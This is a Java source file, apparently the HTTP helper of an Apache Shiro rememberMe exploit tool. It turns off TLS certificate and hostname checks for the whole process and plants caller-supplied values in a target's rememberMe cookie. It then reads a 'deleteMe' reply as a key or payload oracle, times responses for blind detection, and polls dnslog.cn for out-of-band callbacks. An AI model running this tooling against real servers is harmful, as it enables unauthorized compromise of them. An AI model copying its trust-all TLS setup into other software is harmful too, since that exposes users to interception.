package com.shiroexploit.util;

import javax.net.ssl.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.URL;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class HttpRequest {
    private static Config config = Config.getInstance();

    static{
        try{
            //设置https
            SSLContext sslcontext = SSLContext.getInstance("SSL");
            sslcontext.init(null, new TrustManager[]{new MyX509TrustManager()}, null);
            HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() {
                public boolean verify(String s, SSLSession sslsession) {
                    return true;
                }
            };
            HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);
            HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory());
        }catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        } catch (KeyManagementException e) {
            e.printStackTrace();
        }
    }

    public static boolean isValid(HttpRequestInfo httpRequestInfo, String cookieValue){
        boolean bool = true;
        HttpURLConnection connection = null;
        try{

//            debug
//            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 9000));
//            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
            connection.setRequestMethod(httpRequestInfo.getRequestMethod());
            if(httpRequestInfo.getHeaders().size() == 0){
                connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
            }else{
                Map<String, String> cloneHeaders = new HashMap<>();
                cloneHeaders.putAll(httpRequestInfo.getHeaders());

                String cookie = cloneHeaders.get("Cookie");
                if(cookie == null){
                    cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
                }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
                     cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
                     cloneHeaders.put("Cookie", cookie);;
                }else{
                    int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
                    int end = cookie.indexOf(";", start);
                    end = end == -1 ? cookie.length() : end;
                    cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
                    cloneHeaders.put("Cookie", cookie);
                }

                //添加头部
                for(Map.Entry<String, String> entry :cloneHeaders.entrySet()){
                    connection.setRequestProperty(entry.getKey(), entry.getValue());
                }
            }

            // 设置POST请求体
            String requestBody = httpRequestInfo.getRequestBody();
            if(requestBody != null && !requestBody.trim().equals("")){
                // 设置是否向httpUrlConnection输出，post请求设置为true，默认是false
                connection.setDoOutput(true);
                connection.setDoInput(true);

                PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
                printWriter.write(requestBody);
                printWriter.flush();
            }

            connection.setConnectTimeout(5000);
            connection.setReadTimeout(5000);
            connection.connect();

            Map<String, List<String>> map = connection.getHeaderFields();
            for(Map.Entry<String, List<String>> entry : map.entrySet()){
                //必须有
                if(entry.getKey() == null){
                    continue;
                }

                if(entry.getKey().equalsIgnoreCase("set-cookie")){
                    for(String str : entry.getValue()){
                        if(str.contains(config.getRememberMeCookieName() + "=deleteMe")){
                            bool = false;
                            break;
                        }
                    }
                }
            }
        }catch(Exception e){
            bool = false;
        }finally {
            if(connection != null){
                connection.disconnect();
            }
        }

        return bool;
    }

    public static String request(HttpRequestInfo httpRequestInfo, String cookieValue){
        HttpURLConnection connection = null;
        InputStream inputStream = null;
        BufferedReader reader = null;
        StringBuffer sb = new StringBuffer();
        try{
//            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 9000));
//            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
            connection.setRequestMethod(httpRequestInfo.getRequestMethod());
            if(httpRequestInfo.getHeaders().size() == 0){
                connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
            }else{
                Map<String, String> cloneHeaders = new HashMap<>();
                cloneHeaders.putAll(httpRequestInfo.getHeaders());

                String cookie = cloneHeaders.get("Cookie");
                if(cookie == null){
                    cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
                }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
                    cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
                    cloneHeaders.put("Cookie", cookie);;
                }else{
                    int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
                    int end = cookie.indexOf(";", start);
                    end = end == -1 ? cookie.length() : end;
                    cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
                    cloneHeaders.put("Cookie", cookie);
                }

                //添加头部
                for(Map.Entry<String, String> entry :cloneHeaders.entrySet()){
                    connection.setRequestProperty(entry.getKey(), entry.getValue());
                }
            }

            // 设置POST请求体
            String requestBody = httpRequestInfo.getRequestBody();
            if(requestBody != null && !requestBody.trim().equals("")){
                // 设置是否向httpUrlConnection输出，post请求设置为true，默认是false
                connection.setDoOutput(true);
                connection.setDoInput(true);

                PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
                printWriter.write(requestBody);
                printWriter.flush();
            }

            connection.setConnectTimeout(5000);
            connection.setReadTimeout(5000);
            connection.connect();

            inputStream = connection.getInputStream();
            reader = new BufferedReader(new InputStreamReader(inputStream));

            String line;
            while ((line = reader.readLine()) != null){
                sb.append(line + "\n");
            }
        }catch(Exception e){
            return null;
        }finally {
            try {
                if(connection != null) connection.disconnect();
                if(inputStream != null) inputStream.close();
                if(reader != null) reader.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return sb.toString();
    }

    public static int getRequestDelay(HttpRequestInfo httpRequestInfo, String cookieValue){
        int delay = 0;
        long startTime = System.currentTimeMillis();

        HttpURLConnection connection = null;
        try{
//            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 9000));
//            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
            connection.setRequestMethod(httpRequestInfo.getRequestMethod());
            if(httpRequestInfo.getHeaders().size() == 0){
                connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
            }else{
                Map<String, String> cloneHeaders = new HashMap<>();
                cloneHeaders.putAll(httpRequestInfo.getHeaders());

                String cookie = cloneHeaders.get("Cookie");
                if(cookie == null){
                    cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
                }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
                    cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
                    cloneHeaders.put("Cookie", cookie);;
                }else{
                    int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
                    int end = cookie.indexOf(";", start);
                    end = end == -1 ? cookie.length() : end;
                    cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
                    cloneHeaders.put("Cookie", cookie);
                }

                //添加头部
                for(Map.Entry<String, String> entry :cloneHeaders.entrySet()){
                    connection.setRequestProperty(entry.getKey(), entry.getValue());
                }
            }

            // 设置POST请求体
            String requestBody = httpRequestInfo.getRequestBody();
            if(requestBody != null && !requestBody.trim().equals("")){
                // 设置是否向httpUrlConnection输出，post请求设置为true，默认是false
                connection.setDoOutput(true);
                connection.setDoInput(true);

                PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
                printWriter.write(requestBody);
                printWriter.flush();
            }

            connection.setConnectTimeout(15000);
            connection.setReadTimeout(15000);
            connection.connect();

            Map<String, List<String>> map = connection.getHeaderFields();

            long endTime = System.currentTimeMillis();
            delay = (int) ((endTime - startTime) / 1000);


        }catch(Exception e){
            delay = 0;
        }finally {
            if(connection != null)  connection.disconnect();
        }

        return delay;
    }

    public static String getResponse(String url) throws IOException {
        HttpURLConnection connection = null;
        InputStream inputStream = null;
        BufferedReader reader = null;
        StringBuffer sb = new StringBuffer();

        try{
//            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 9000));
//            connection = (HttpURLConnection)new URL(url).openConnection(proxy);
            connection = (HttpURLConnection)new URL(url).openConnection();
            connection.setRequestMethod("GET");
            connection.setConnectTimeout(5000);
            connection.setReadTimeout(5000);
            connection.connect();

            int responseCode = connection.getResponseCode();
            if(responseCode == HttpURLConnection.HTTP_OK){
                inputStream = connection.getInputStream();
                reader = new BufferedReader(new InputStreamReader(inputStream));

                String line;
                while ((line = reader.readLine()) != null){
                    sb.append(line + "\n");
                }
            }else{
                return null;
            }
        }finally {
            try {
                if(connection != null) connection.disconnect();
                if(inputStream != null) inputStream.close();
                if(reader != null) reader.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return sb.toString();
    }

    public static String getResponse(HttpRequestInfo httpRequestInfo) throws IOException {
        HttpURLConnection connection = null;
        InputStream inputStream = null;
        BufferedReader reader = null;
        StringBuffer sb = new StringBuffer();

        try{
//            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 9000));
//            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
            connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
            connection.setRequestMethod(httpRequestInfo.getRequestMethod());

            //设置Header
            for(Map.Entry<String, String> entry : httpRequestInfo.getHeaders().entrySet()){
                connection.setRequestProperty(entry.getKey(), entry.getValue());
            }

            // 设置POST请求体
            String requestBody = httpRequestInfo.getRequestBody();
            if(requestBody != null && !requestBody.trim().equals("")){
                // 设置是否向httpUrlConnection输出，post请求设置为true，默认是false
                connection.setDoOutput(true);
                connection.setDoInput(true);

                PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
                printWriter.write(requestBody);
                printWriter.flush();
            }

            connection.setConnectTimeout(5000);
            connection.setReadTimeout(5000);
            connection.connect();

            int responseCode = connection.getResponseCode();
            if(responseCode == HttpURLConnection.HTTP_OK){
                inputStream = connection.getInputStream();
                reader = new BufferedReader(new InputStreamReader(inputStream));

                String line;
                while ((line = reader.readLine()) != null){
                    sb.append(line + "\n");
                }
            }else{
                return null;
            }
        }finally {
            try {
                if(connection != null) connection.disconnect();
                if(inputStream != null) inputStream.close();
                if(reader != null) reader.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return sb.toString();
    }



    public static String getDNSLogResult() throws IOException {
        HttpURLConnection connection = null;
        InputStream inputStream = null;
        BufferedReader reader = null;
        StringBuffer sb = new StringBuffer();

        try {
            connection = (HttpURLConnection)new URL("http://www.dnslog.cn/getrecords.php").openConnection();
            connection.setRequestMethod("GET");
            connection.setRequestProperty("Cookie", config.getSessionId());
            connection.setConnectTimeout(5000);
            connection.setReadTimeout(5000);
            connection.connect();

            int responseCode = connection.getResponseCode();
            String line;
            if (responseCode == 200) {
                inputStream = connection.getInputStream();
                reader = new BufferedReader(new InputStreamReader(inputStream));

                while ((line = reader.readLine()) != null){
                    sb.append(line);
                }

            } else {
                return null;
            }
        } finally {
            try {
                if (connection != null) connection.disconnect();
                if (inputStream != null) inputStream.close();
                if (reader != null) reader.close();
            }
            catch (IOException e) {
                e.printStackTrace();
            }
        }

        return sb.toString();
    }
}